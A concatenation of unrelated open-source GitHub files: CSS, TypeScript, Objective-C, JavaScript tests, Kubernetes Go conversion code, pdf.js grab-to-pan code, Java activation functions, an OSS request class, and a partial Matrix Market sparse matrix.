l{
background-image: url(../../Images/live-icon.gif);
background-repeat: no-repeat;
width:24px;
height:24px;
display:inline-block;
} | {
"pile_set_name": "Github"
} |
/**
* Copyright 2014 Mozilla Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Class: NativeMenu
module Shumway.AVMX.AS.flash.display {
export class NativeMenu extends flash.events.EventDispatcher {
static classInitializer: any = null;
static classSymbols: string [] = null; // [];
static instanceSymbols: string [] = null; // [];
constructor () {
super();
}
}
}
| {
"pile_set_name": "Github"
} |
//
// LYQuestionTwoPushAnimator.m
// LYCustomTransitionDemo
//
// Created by kurt lee on 2017/12/13.
// Copyright © 2017年 liyang. All rights reserved.
//
#import "LYQuestionTwoPushAnimator.h"
@implementation LYQuestionTwoPushAnimator
- (NSTimeInterval)transitionDuration:(id<UIViewControllerContextTransitioning>)transitionContext{
return 0.7;
}
- (void)animateTransition:(id<UIViewControllerContextTransitioning>)transitionContext{
//转场过渡的容器view
UIView *containerView = [transitionContext containerView];
//FromVC
UIViewController *fromViewController = [transitionContext viewControllerForKey:UITransitionContextFromViewControllerKey];
UIView *fromView = fromViewController.view;
[containerView addSubview:fromView];
//ToVC
UIViewController *toViewController = [transitionContext viewControllerForKey:UITransitionContextToViewControllerKey];
UIView *toView = toViewController.view;
[containerView addSubview:toView];
toView.hidden = YES;
//图片背景的空白view (设置和控制器的背景颜色一样,给人一种图片被调走的假象 [可以换种颜色看看效果])
UIView *imgBgWhiteView = [[UIView alloc] initWithFrame:self.transitionBeforeImgFrame];
imgBgWhiteView.backgroundColor = bgColor;
[containerView addSubview:imgBgWhiteView];
//有渐变的黑色背景
UIView *bgView = [[UIView alloc] initWithFrame:containerView.bounds];
bgView.backgroundColor = [UIColor blackColor];
bgView.alpha = 0;
[containerView addSubview:bgView];
//过渡的图片
UIImageView *transitionImgView = [[UIImageView alloc] initWithImage:self.transitionImg];
transitionImgView.frame = self.transitionBeforeImgFrame;
[transitionContext.containerView addSubview:transitionImgView];
UIImageView *flipView = [[UIImageView alloc] initWithImage:self.flipImg];
flipView.frame = self.transitionBeforeImgFrame;
[transitionContext.containerView addSubview:flipView];
flipView.layer.anchorPoint = CGPointMake(0, 0.5);
flipView.layer.transform = [self getTransForm3DWithAngle:0];
flipView.frame = self.transitionBeforeImgFrame;
[UIView animateWithDuration:[self transitionDuration:transitionContext] delay:0 options:UIViewAnimationOptionCurveEaseIn animations:^{
transitionImgView.frame = transitionContext.containerView.bounds;
flipView.frame = CGRectMake(0, 0, transitionContext.containerView.frame.size.width*0.7, transitionContext.containerView.frame.size.height);
flipView.layer.transform = [self getTransForm3DWithAngle:-M_PI_2 - M_PI_4/2.0];
bgView.alpha = 1;
} completion:^(BOOL finished) {
toView.hidden = NO;
[imgBgWhiteView removeFromSuperview];
[bgView removeFromSuperview];
[transitionImgView removeFromSuperview];
[flipView removeFromSuperview];
BOOL wasCancelled = [transitionContext transitionWasCancelled];
//设置transitionContext通知系统动画执行完毕
[transitionContext completeTransition:!wasCancelled];
}];
}
- (CATransform3D)getTransForm3DWithAngle:(CGFloat)angle{
CATransform3D transform =CATransform3DIdentity;//获取一个标准默认的CATransform3D仿射变换矩阵
transform.m34=4.5/-2000;//透视效果
transform=CATransform3DRotate(transform,angle,0,1,0);//获取旋转angle角度后的rotation矩阵。
return transform;
}
@end
| {
"pile_set_name": "Github"
} |
// @flow
import request from "supertest";
import createDB from "../../db";
import dbFixtures from "../../db/__tests__/__fixtures__";
import createServer from "..";
const db = createDB({});
db._setDatabase(dbFixtures);
const server = createServer({
db,
plugins: [
{
name: "test-api",
extendAPI: () => {},
},
{
name: "test-nothing",
},
],
rootPath: "",
});
it("should return basic response", async () => {
await request(server)
.get("/unknown")
.expect(404);
await request(server)
.get("/")
.expect(200);
});
it("should return handle simple query for list", async () => {
await request(server)
.get("/news/by-default/1/asc/date.json")
.expect(200);
await request(server)
.get("/news/by-default/1/asc/date/limit-2.json")
.expect(200);
// await request(server)
// .get("/news/by-default/1/asc/limit-:limit/after-:after.json")
// .expect(200);
});
it("should return handle simple query for items", async () => {
await request(server)
.get("/item/unknown.json")
.expect(404);
await request(server)
.get("/item/news/2017/06/introducing-1.0.0-alpha.json")
.expect(200);
await request(server)
.get("/unknown/item/really.json")
.expect(404);
await request(server)
.get("/news/item/2017/06/introducing-1.0.0-alpha.json")
.expect(200);
});
| {
"pile_set_name": "Github"
} |
/*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package v1beta1
import (
"fmt"
appsv1beta1 "k8s.io/api/apps/v1beta1"
"k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/conversion"
"k8s.io/apimachinery/pkg/labels"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/util/intstr"
"k8s.io/kubernetes/pkg/apis/apps"
"k8s.io/kubernetes/pkg/apis/autoscaling"
api "k8s.io/kubernetes/pkg/apis/core"
k8s_api_v1 "k8s.io/kubernetes/pkg/apis/core/v1"
"k8s.io/kubernetes/pkg/apis/extensions"
)
func addConversionFuncs(scheme *runtime.Scheme) error {
// Add non-generated conversion functions to handle the *int32 -> int32
// conversion. A pointer is useful in the versioned type so we can default
// it, but a plain int32 is more convenient in the internal type. These
// functions are the same as the autogenerated ones in every other way.
err := scheme.AddConversionFuncs(
Convert_v1beta1_StatefulSetSpec_To_apps_StatefulSetSpec,
Convert_apps_StatefulSetSpec_To_v1beta1_StatefulSetSpec,
Convert_v1beta1_StatefulSetUpdateStrategy_To_apps_StatefulSetUpdateStrategy,
Convert_apps_StatefulSetUpdateStrategy_To_v1beta1_StatefulSetUpdateStrategy,
// extensions
// TODO: below conversions should be dropped in favor of auto-generated
// ones, see https://github.com/kubernetes/kubernetes/issues/39865
Convert_v1beta1_ScaleStatus_To_autoscaling_ScaleStatus,
Convert_autoscaling_ScaleStatus_To_v1beta1_ScaleStatus,
Convert_v1beta1_DeploymentSpec_To_extensions_DeploymentSpec,
Convert_extensions_DeploymentSpec_To_v1beta1_DeploymentSpec,
Convert_v1beta1_DeploymentStrategy_To_extensions_DeploymentStrategy,
Convert_extensions_DeploymentStrategy_To_v1beta1_DeploymentStrategy,
Convert_v1beta1_RollingUpdateDeployment_To_extensions_RollingUpdateDeployment,
Convert_extensions_RollingUpdateDeployment_To_v1beta1_RollingUpdateDeployment,
)
if err != nil {
return err
}
// Add field label conversions for kinds having selectable nothing but ObjectMeta fields.
err = scheme.AddFieldLabelConversionFunc(SchemeGroupVersion.WithKind("StatefulSet"),
func(label, value string) (string, string, error) {
switch label {
case "metadata.name", "metadata.namespace", "status.successful":
return label, value, nil
default:
return "", "", fmt.Errorf("field label not supported for appsv1beta1.StatefulSet: %s", label)
}
})
if err != nil {
return err
}
return nil
}
func Convert_v1beta1_StatefulSetSpec_To_apps_StatefulSetSpec(in *appsv1beta1.StatefulSetSpec, out *apps.StatefulSetSpec, s conversion.Scope) error {
if in.Replicas != nil {
out.Replicas = *in.Replicas
}
if in.Selector != nil {
in, out := &in.Selector, &out.Selector
*out = new(metav1.LabelSelector)
if err := s.Convert(*in, *out, 0); err != nil {
return err
}
} else {
out.Selector = nil
}
if err := k8s_api_v1.Convert_v1_PodTemplateSpec_To_core_PodTemplateSpec(&in.Template, &out.Template, s); err != nil {
return err
}
if in.VolumeClaimTemplates != nil {
in, out := &in.VolumeClaimTemplates, &out.VolumeClaimTemplates
*out = make([]api.PersistentVolumeClaim, len(*in))
for i := range *in {
if err := s.Convert(&(*in)[i], &(*out)[i], 0); err != nil {
return err
}
}
} else {
out.VolumeClaimTemplates = nil
}
if err := Convert_v1beta1_StatefulSetUpdateStrategy_To_apps_StatefulSetUpdateStrategy(&in.UpdateStrategy, &out.UpdateStrategy, s); err != nil {
return err
}
if in.RevisionHistoryLimit != nil {
out.RevisionHistoryLimit = new(int32)
*out.RevisionHistoryLimit = *in.RevisionHistoryLimit
} else {
out.RevisionHistoryLimit = nil
}
out.ServiceName = in.ServiceName
out.PodManagementPolicy = apps.PodManagementPolicyType(in.PodManagementPolicy)
return nil
}
func Convert_apps_StatefulSetSpec_To_v1beta1_StatefulSetSpec(in *apps.StatefulSetSpec, out *appsv1beta1.StatefulSetSpec, s conversion.Scope) error {
out.Replicas = new(int32)
*out.Replicas = in.Replicas
if in.Selector != nil {
in, out := &in.Selector, &out.Selector
*out = new(metav1.LabelSelector)
if err := s.Convert(*in, *out, 0); err != nil {
return err
}
} else {
out.Selector = nil
}
if err := k8s_api_v1.Convert_core_PodTemplateSpec_To_v1_PodTemplateSpec(&in.Template, &out.Template, s); err != nil {
return err
}
if in.VolumeClaimTemplates != nil {
in, out := &in.VolumeClaimTemplates, &out.VolumeClaimTemplates
*out = make([]v1.PersistentVolumeClaim, len(*in))
for i := range *in {
if err := s.Convert(&(*in)[i], &(*out)[i], 0); err != nil {
return err
}
}
} else {
out.VolumeClaimTemplates = nil
}
if in.RevisionHistoryLimit != nil {
out.RevisionHistoryLimit = new(int32)
*out.RevisionHistoryLimit = *in.RevisionHistoryLimit
} else {
out.RevisionHistoryLimit = nil
}
out.ServiceName = in.ServiceName
out.PodManagementPolicy = appsv1beta1.PodManagementPolicyType(in.PodManagementPolicy)
if err := Convert_apps_StatefulSetUpdateStrategy_To_v1beta1_StatefulSetUpdateStrategy(&in.UpdateStrategy, &out.UpdateStrategy, s); err != nil {
return err
}
return nil
}
func Convert_v1beta1_StatefulSetUpdateStrategy_To_apps_StatefulSetUpdateStrategy(in *appsv1beta1.StatefulSetUpdateStrategy, out *apps.StatefulSetUpdateStrategy, s conversion.Scope) error {
out.Type = apps.StatefulSetUpdateStrategyType(in.Type)
if in.RollingUpdate != nil {
out.RollingUpdate = new(apps.RollingUpdateStatefulSetStrategy)
out.RollingUpdate.Partition = *in.RollingUpdate.Partition
} else {
out.RollingUpdate = nil
}
return nil
}
func Convert_apps_StatefulSetUpdateStrategy_To_v1beta1_StatefulSetUpdateStrategy(in *apps.StatefulSetUpdateStrategy, out *appsv1beta1.StatefulSetUpdateStrategy, s conversion.Scope) error {
out.Type = appsv1beta1.StatefulSetUpdateStrategyType(in.Type)
if in.RollingUpdate != nil {
out.RollingUpdate = new(appsv1beta1.RollingUpdateStatefulSetStrategy)
out.RollingUpdate.Partition = new(int32)
*out.RollingUpdate.Partition = in.RollingUpdate.Partition
} else {
out.RollingUpdate = nil
}
return nil
}
func Convert_autoscaling_ScaleStatus_To_v1beta1_ScaleStatus(in *autoscaling.ScaleStatus, out *appsv1beta1.ScaleStatus, s conversion.Scope) error {
out.Replicas = int32(in.Replicas)
out.TargetSelector = in.Selector
out.Selector = nil
selector, err := metav1.ParseToLabelSelector(in.Selector)
if err != nil {
return fmt.Errorf("failed to parse selector: %v", err)
}
if len(selector.MatchExpressions) == 0 {
out.Selector = selector.MatchLabels
}
return nil
}
func Convert_v1beta1_ScaleStatus_To_autoscaling_ScaleStatus(in *appsv1beta1.ScaleStatus, out *autoscaling.ScaleStatus, s conversion.Scope) error {
out.Replicas = in.Replicas
if in.TargetSelector != "" {
out.Selector = in.TargetSelector
} else if in.Selector != nil {
set := labels.Set{}
for key, val := range in.Selector {
set[key] = val
}
out.Selector = labels.SelectorFromSet(set).String()
} else {
out.Selector = ""
}
return nil
}
func Convert_v1beta1_DeploymentSpec_To_extensions_DeploymentSpec(in *appsv1beta1.DeploymentSpec, out *extensions.DeploymentSpec, s conversion.Scope) error {
if in.Replicas != nil {
out.Replicas = *in.Replicas
}
out.Selector = in.Selector
if err := k8s_api_v1.Convert_v1_PodTemplateSpec_To_core_PodTemplateSpec(&in.Template, &out.Template, s); err != nil {
return err
}
if err := Convert_v1beta1_DeploymentStrategy_To_extensions_DeploymentStrategy(&in.Strategy, &out.Strategy, s); err != nil {
return err
}
out.RevisionHistoryLimit = in.RevisionHistoryLimit
out.MinReadySeconds = in.MinReadySeconds
out.Paused = in.Paused
if in.RollbackTo != nil {
out.RollbackTo = new(extensions.RollbackConfig)
out.RollbackTo.Revision = in.RollbackTo.Revision
} else {
out.RollbackTo = nil
}
if in.ProgressDeadlineSeconds != nil {
out.ProgressDeadlineSeconds = new(int32)
*out.ProgressDeadlineSeconds = *in.ProgressDeadlineSeconds
}
return nil
}
func Convert_extensions_DeploymentSpec_To_v1beta1_DeploymentSpec(in *extensions.DeploymentSpec, out *appsv1beta1.DeploymentSpec, s conversion.Scope) error {
out.Replicas = &in.Replicas
out.Selector = in.Selector
if err := k8s_api_v1.Convert_core_PodTemplateSpec_To_v1_PodTemplateSpec(&in.Template, &out.Template, s); err != nil {
return err
}
if err := Convert_extensions_DeploymentStrategy_To_v1beta1_DeploymentStrategy(&in.Strategy, &out.Strategy, s); err != nil {
return err
}
if in.RevisionHistoryLimit != nil {
out.RevisionHistoryLimit = new(int32)
*out.RevisionHistoryLimit = int32(*in.RevisionHistoryLimit)
}
out.MinReadySeconds = int32(in.MinReadySeconds)
out.Paused = in.Paused
if in.RollbackTo != nil {
out.RollbackTo = new(appsv1beta1.RollbackConfig)
out.RollbackTo.Revision = int64(in.RollbackTo.Revision)
} else {
out.RollbackTo = nil
}
if in.ProgressDeadlineSeconds != nil {
out.ProgressDeadlineSeconds = new(int32)
*out.ProgressDeadlineSeconds = *in.ProgressDeadlineSeconds
}
return nil
}
func Convert_extensions_DeploymentStrategy_To_v1beta1_DeploymentStrategy(in *extensions.DeploymentStrategy, out *appsv1beta1.DeploymentStrategy, s conversion.Scope) error {
out.Type = appsv1beta1.DeploymentStrategyType(in.Type)
if in.RollingUpdate != nil {
out.RollingUpdate = new(appsv1beta1.RollingUpdateDeployment)
if err := Convert_extensions_RollingUpdateDeployment_To_v1beta1_RollingUpdateDeployment(in.RollingUpdate, out.RollingUpdate, s); err != nil {
return err
}
} else {
out.RollingUpdate = nil
}
return nil
}
func Convert_v1beta1_DeploymentStrategy_To_extensions_DeploymentStrategy(in *appsv1beta1.DeploymentStrategy, out *extensions.DeploymentStrategy, s conversion.Scope) error {
out.Type = extensions.DeploymentStrategyType(in.Type)
if in.RollingUpdate != nil {
out.RollingUpdate = new(extensions.RollingUpdateDeployment)
if err := Convert_v1beta1_RollingUpdateDeployment_To_extensions_RollingUpdateDeployment(in.RollingUpdate, out.RollingUpdate, s); err != nil {
return err
}
} else {
out.RollingUpdate = nil
}
return nil
}
func Convert_v1beta1_RollingUpdateDeployment_To_extensions_RollingUpdateDeployment(in *appsv1beta1.RollingUpdateDeployment, out *extensions.RollingUpdateDeployment, s conversion.Scope) error {
if err := s.Convert(in.MaxUnavailable, &out.MaxUnavailable, 0); err != nil {
return err
}
if err := s.Convert(in.MaxSurge, &out.MaxSurge, 0); err != nil {
return err
}
return nil
}
func Convert_extensions_RollingUpdateDeployment_To_v1beta1_RollingUpdateDeployment(in *extensions.RollingUpdateDeployment, out *appsv1beta1.RollingUpdateDeployment, s conversion.Scope) error {
if out.MaxUnavailable == nil {
out.MaxUnavailable = &intstr.IntOrString{}
}
if err := s.Convert(&in.MaxUnavailable, out.MaxUnavailable, 0); err != nil {
return err
}
if out.MaxSurge == nil {
out.MaxSurge = &intstr.IntOrString{}
}
if err := s.Convert(&in.MaxSurge, out.MaxSurge, 0); err != nil {
return err
}
return nil
}
| {
"pile_set_name": "Github"
} |
/* Copyright 2013 Rob Wu <[email protected]>
* https://github.com/Rob--W/grab-to-pan.js
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
'use strict';
var GrabToPan = (function GrabToPanClosure() {
/**
* Construct a GrabToPan instance for a given HTML element.
* @param options.element {Element}
* @param options.ignoreTarget {function} optional. See `ignoreTarget(node)`
* @param options.onActiveChanged {function(boolean)} optional. Called
* when grab-to-pan is (de)activated. The first argument is a boolean that
* shows whether grab-to-pan is activated.
*/
function GrabToPan(options) {
this.element = options.element;
this.document = options.element.ownerDocument;
if (typeof options.ignoreTarget === 'function') {
this.ignoreTarget = options.ignoreTarget;
}
this.onActiveChanged = options.onActiveChanged;
// Bind the contexts to ensure that `this` always points to
// the GrabToPan instance.
this.activate = this.activate.bind(this);
this.deactivate = this.deactivate.bind(this);
this.toggle = this.toggle.bind(this);
this._onmousedown = this._onmousedown.bind(this);
this._onmousemove = this._onmousemove.bind(this);
this._endPan = this._endPan.bind(this);
// This overlay will be inserted in the document when the mouse moves during
// a grab operation, to ensure that the cursor has the desired appearance.
var overlay = this.overlay = document.createElement('div');
overlay.className = 'grab-to-pan-grabbing';
}
GrabToPan.prototype = {
/**
* Class name of element which can be grabbed
*/
CSS_CLASS_GRAB: 'grab-to-pan-grab',
/**
* Bind a mousedown event to the element to enable grab-detection.
*/
activate: function GrabToPan_activate() {
if (!this.active) {
this.active = true;
this.element.addEventListener('mousedown', this._onmousedown, true);
this.element.classList.add(this.CSS_CLASS_GRAB);
if (this.onActiveChanged) {
this.onActiveChanged(true);
}
}
},
/**
* Removes all events. Any pending pan session is immediately stopped.
*/
deactivate: function GrabToPan_deactivate() {
if (this.active) {
this.active = false;
this.element.removeEventListener('mousedown', this._onmousedown, true);
this._endPan();
this.element.classList.remove(this.CSS_CLASS_GRAB);
if (this.onActiveChanged) {
this.onActiveChanged(false);
}
}
},
toggle: function GrabToPan_toggle() {
if (this.active) {
this.deactivate();
} else {
this.activate();
}
},
/**
* Whether to not pan if the target element is clicked.
* Override this method to change the default behaviour.
*
* @param node {Element} The target of the event
* @return {boolean} Whether to not react to the click event.
*/
ignoreTarget: function GrabToPan_ignoreTarget(node) {
// Use matchesSelector to check whether the clicked element
// is (a child of) an input element / link
return node[matchesSelector](
'a[href], a[href] *, input, textarea, button, button *, select, option'
);
},
/**
* @private
*/
_onmousedown: function GrabToPan__onmousedown(event) {
if (event.button !== 0 || this.ignoreTarget(event.target)) {
return;
}
if (event.originalTarget) {
try {
/* jshint expr:true */
event.originalTarget.tagName;
} catch (e) {
// Mozilla-specific: element is a scrollbar (XUL element)
return;
}
}
this.scrollLeftStart = this.element.scrollLeft;
this.scrollTopStart = this.element.scrollTop;
this.clientXStart = event.clientX;
this.clientYStart = event.clientY;
this.document.addEventListener('mousemove', this._onmousemove, true);
this.document.addEventListener('mouseup', this._endPan, true);
// When a scroll event occurs before a mousemove, assume that the user
// dragged a scrollbar (necessary for Opera Presto, Safari and IE)
// (not needed for Chrome/Firefox)
this.element.addEventListener('scroll', this._endPan, true);
event.preventDefault();
event.stopPropagation();
this.document.documentElement.classList.add(this.CSS_CLASS_GRABBING);
var focusedElement = document.activeElement;
if (focusedElement && !focusedElement.contains(event.target)) {
focusedElement.blur();
}
},
/**
* @private
*/
_onmousemove: function GrabToPan__onmousemove(event) {
this.element.removeEventListener('scroll', this._endPan, true);
if (isLeftMouseReleased(event)) {
this._endPan();
return;
}
var xDiff = event.clientX - this.clientXStart;
var yDiff = event.clientY - this.clientYStart;
this.element.scrollTop = this.scrollTopStart - yDiff;
this.element.scrollLeft = this.scrollLeftStart - xDiff;
if (!this.overlay.parentNode) {
document.body.appendChild(this.overlay);
}
},
/**
* @private
*/
_endPan: function GrabToPan__endPan() {
this.element.removeEventListener('scroll', this._endPan, true);
this.document.removeEventListener('mousemove', this._onmousemove, true);
this.document.removeEventListener('mouseup', this._endPan, true);
if (this.overlay.parentNode) {
this.overlay.parentNode.removeChild(this.overlay);
}
}
};
// Get the correct (vendor-prefixed) name of the matches method.
var matchesSelector;
['webkitM', 'mozM', 'msM', 'oM', 'm'].some(function(prefix) {
var name = prefix + 'atches';
if (name in document.documentElement) {
matchesSelector = name;
}
name += 'Selector';
if (name in document.documentElement) {
matchesSelector = name;
}
return matchesSelector; // If found, then truthy, and [].some() ends.
});
// Browser sniffing because it's impossible to feature-detect
// whether event.which for onmousemove is reliable
var isNotIEorIsIE10plus = !document.documentMode || document.documentMode > 9;
var chrome = window.chrome;
var isChrome15OrOpera15plus = chrome && (chrome.webstore || chrome.app);
// ^ Chrome 15+ ^ Opera 15+
var isSafari6plus = /Apple/.test(navigator.vendor) &&
/Version\/([6-9]\d*|[1-5]\d+)/.test(navigator.userAgent);
/**
* Whether the left mouse is not pressed.
* @param event {MouseEvent}
* @return {boolean} True if the left mouse button is not pressed.
* False if unsure or if the left mouse button is pressed.
*/
function isLeftMouseReleased(event) {
if ('buttons' in event && isNotIEorIsIE10plus) {
// http://www.w3.org/TR/DOM-Level-3-Events/#events-MouseEvent-buttons
// Firefox 15+
// Internet Explorer 10+
return !(event.buttons | 1);
}
if (isChrome15OrOpera15plus || isSafari6plus) {
// Chrome 14+
// Opera 15+
// Safari 6.0+
return event.which === 0;
}
}
return GrabToPan;
})();
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.ml.nn;
import org.apache.ignite.ml.math.functions.IgniteDifferentiableDoubleToDoubleFunction;
/**
* Class containing some common activation functions.
*/
public class Activators {
/**
* Sigmoid activation function.
*/
public static IgniteDifferentiableDoubleToDoubleFunction SIGMOID = new IgniteDifferentiableDoubleToDoubleFunction() {
/** {@inheritDoc} */
@Override public double differential(double pnt) {
double v = apply(pnt);
return v * (1 - v);
}
/** {@inheritDoc} */
@Override public Double apply(double val) {
return 1 / (1 + Math.exp(-val));
}
};
/**
* Rectified linear unit (ReLU) activation function.
*/
public static IgniteDifferentiableDoubleToDoubleFunction RELU = new IgniteDifferentiableDoubleToDoubleFunction() {
/**
* Differential of ReLU at pnt. Formally, function is not differentiable at 0, but we let differential at 0 be 0.
*
* @param pnt Point to differentiate at.
* @return Differential at pnt.
*/
@Override public double differential(double pnt) {
return pnt > 0 ? 1 : 0;
}
/** {@inheritDoc} */
@Override public Double apply(double val) {
return Math.max(val, 0);
}
};
/**
* Linear unit activation function.
*/
public static IgniteDifferentiableDoubleToDoubleFunction LINEAR = new IgniteDifferentiableDoubleToDoubleFunction() {
/** {@inheritDoc} */
@Override public double differential(double pnt) {
return 1.0;
}
/**
* Differential of linear at pnt.
*
* @param pnt Point to differentiate at.
* @return Differential at pnt.
*/
@Override public Double apply(double pnt) {
return pnt;
}
};
}
| {
"pile_set_name": "Github"
} |
package com.alibaba.sdk.android.oss.model;
public class GetBucketInfoRequest extends OSSRequest {
private String bucketName;
public String getBucketName() {
return bucketName;
}
public void setBucketName(String bucketName) {
this.bucketName = bucketName;
}
public GetBucketInfoRequest(String bucketName) {
this.bucketName = bucketName;
}
}
| {
"pile_set_name": "Github"
} |
%%MatrixMarket matrix coordinate real general
%-------------------------------------------------------------------------------
% UF Sparse Matrix Collection, Tim Davis
% http://www.cise.ufl.edu/research/sparse/matrices/HB/west0479
% name: HB/west0479
% [U 8 STAGE COLUMN SECTION, ALL SECTIONS RIGOROUS ( CHEM. ENG. )]
% id: 267
% date: 1983
% author: A. Westerberg
% ed: I. Duff, R. Grimes, J. Lewis
% fields: title A Zeros name id date author ed kind
% kind: chemical process simulation problem
%-------------------------------------------------------------------------------
479 479 1910
25 1 1
31 1 -.03764813
87 1 -.3442396
26 2 1
31 2 -.02452262
88 2 -.3737086
27 3 1
31 3 -.03661304
89 3 -.8369379
28 4 130
29 4 -2.433767
29 5 1
30 5 -1.614091
30 6 1.614091
31 6 -.2187321
87 6 -1
88 6 -1
89 6 -1
32 7 -1.138352
43 7 .03669428
111 7 .09931636
112 7 .09931636
113 7 .09931636
33 8 -.5
43 8 .01611729
111 8 .08724576
34 9 -.3611918
43 9 .01164286
112 9 .1050415
35 10 -.3218876
43 10 .01037591
113 10 .1404166
36 11 -.4362416
37 11 -.7680425
38 11 -.1430279
39 11 -.1593886
37 12 1
43 12 -.04856082
111 12 -.2628684
38 13 1
43 13 -.03092595
112 13 -.2790128
39 14 1
43 14 -.04612359
113 14 -.6241882
40 15 5.282436
42 15 -.6123921
41 16 .2886822
42 16 -.2163815
42 17 1.328774
43 17 -.3694686
111 17 -1
112 17 -1
113 17 -1
2 18 48.17647
8 18 -1
11 18 -3.347484e-5
3 19 83.5
9 19 -1
12 19 -4.136539e-5
4 20 171.9412
10 20 -1
13 20 -8.484345e-5
5 21 96.65138
8 21 2.5
11 21 3.347484e-5
6 22 168.2706
9 22 2.5
12 22 4.136539e-5
7 23 347.5872
10 23 2.5
13 23 8.484345e-5
8 24 1
17 24 -.1106967
27 24 1.605232
9 25 1
17 25 -.08980852
10 26 1
17 26 -.1517369
11 27 1.010455
18 27 -.5
12 28 1.005978
18 28 -.3
13 29 1.002885
18 29 -.2
14 30 1
17 30 -.1811855
15 31 1
17 31 -.2400239
16 32 1
17 32 -.2265484
17 33 1
19 33 -1
30 33 1.5
42 33 .5
18 34 1
20 34 -316220
23 34 -12323.69
24 34 -1
30 34 -35226.8
41 34 18449.02
19 35 5.298339
21 35 .002452687
20 36 1080.859
21 36 -.2050215
21 37 .144192
22 37 63.05986
30 37 -.1159299
22 38 -18449.02
24 38 .8453339
40 38 -18449.02
41 38 -15595.58
23 39 1
30 39 .2020493
42 39 -.885471
24 40 .0001000234
30 40 2.448339
42 40 .816113
68 41 1
74 41 -.0002278669
99 41 -.2624395
69 42 1
74 42 -.0004188763
100 42 -.3216196
70 43 1
74 43 -.001576933
101 43 -.7264761
71 44 300
72 44 -2.851891
72 45 1
73 45 -.2870159
73 46 .2870159
74 46 -.004341322
99 46 -1
100 46 -1
101 46 -1
75 47 -1.138352
86 47 .04200286
123 47 .9414806
124 47 .9414806
125 47 .9414806
76 48 -.3218876
86 48 .011877
123 48 1.331095
77 49 -.3611918
86 49 .01332724
124 49 .9957529
78 50 -.5
86 50 .01844898
125 50 .827056
79 51 -1
80 51 -19.24
81 51 -3.803
82 51 -9.481
80 52 1
86 52 -.0008875784
123 52 -.09947392
81 53 1
86 53 -.001331368
124 53 -.09947392
82 54 1
86 54 -.002218946
125 54 -.09947392
83 55 1.177613
85 55 -3.108963
84 56 .9919425
85 56 -2.640056
85 57 3.192112
86 57 -.04461363
123 57 -1
124 57 -1
125 57 -1
45 58 109.8688
51 58 -1
54 58 -3.30811e-5
46 59 191.3846
52 59 -1
55 59 -4.108467e-5
47 60 395.4796
53 60 -1
56 60 -8.456383e-5
48 61 221.7339
51 61 2.5
54 61 3.30811e-5
49 62 387.0092
52 62 2.5
55 62 4.108467e-5
50 63 800.8165
53 63 2.5
56 63 8.456383e-5
51 64 1
60 64 -.009170229
52 65 1
60 65 -.0464411
53 66 1
60 66 -.4899919
54 67 1.00453
61 67 -.2
55 68 1.002591
61 68 -.3
56 69 1.00125
61 69 -.5
57 70 1
60 70 -.03750053
58 71 1
60 71 -.124143
59 72 1
60 72 -.2927532
60 73 1
62 73 -1
73 73 .1853733
85 73 .06179109
61 74 1
63 74 -316220
66 74 -16364.19
67 74 -1
73 74 -4696.782
84 74 131.854
62 75 22.12913
64 75 .9537526
63 76 2494.29
64 76 -1.021587
64 77 .8878281
65 77 1.040042
73 77 -2.640056
65 78 -131.854
67 78 .00805747
83 78 -131.854
84 78 -1.062409
66 79 1
73 79 .1016426
85 79 -.06179109
67 80 .007645257
73 80 23.09895
85 80 7.699649
31 81 1
244 81 1
43 82 1
1 83 1
17 83 -3.850231
18 83 -8.459935e-5
31 83 2.01591
35 83 1
43 83 1.596171
243 83 -.7897512
74 84 1
388 84 .8817562
86 85 1
44 86 1
60 86 -2.79376
61 86 -8.445823e-5
74 86 2.015665
78 86 1
86 86 1.593994
384 86 0
387 86 -.961915
385 87 .002424669
386 87 .03036278
387 87 .6730451
388 87 1.45936
96 88 .01689661
97 88 .03484803
98 88 -.06008018
120 88 -.5552717
121 88 -.4770398
122 88 -.1858293
141 88 -1
142 88 -1
143 88 -1
185 88 -55.18857
186 88 -95.67686
187 88 -215.8377
389 88 1
438 88 1
439 88 1
440 88 1
441 88 1
442 88 1
443 88 1
450 88 -.001890756
451 88 -.00153114
452 88 -.001013726
455 88 2.5
456 88 26.0637
458 88 1
459 88 -1.5
461 88 -9.603181
462 88 -9.454185
463 88 -9.437681
464 88 -48.29572
472 88 .9075922
473 88 -4.375967
474 88 -8.997992
475 88 -8.881958
476 88 1
182 89 1
183 89 1
184 89 1
391 89 1
455 89 -1
456 89 -26.0637
458 89 -1
468 89 1
388 90 -1.45936
467 90 1
479 91 1
203 92 -1
204 92 -1
205 92 -1
209 92 1
210 92 1
211 92 1
382 92 56.9531
385 92 .7058325
437 92 1
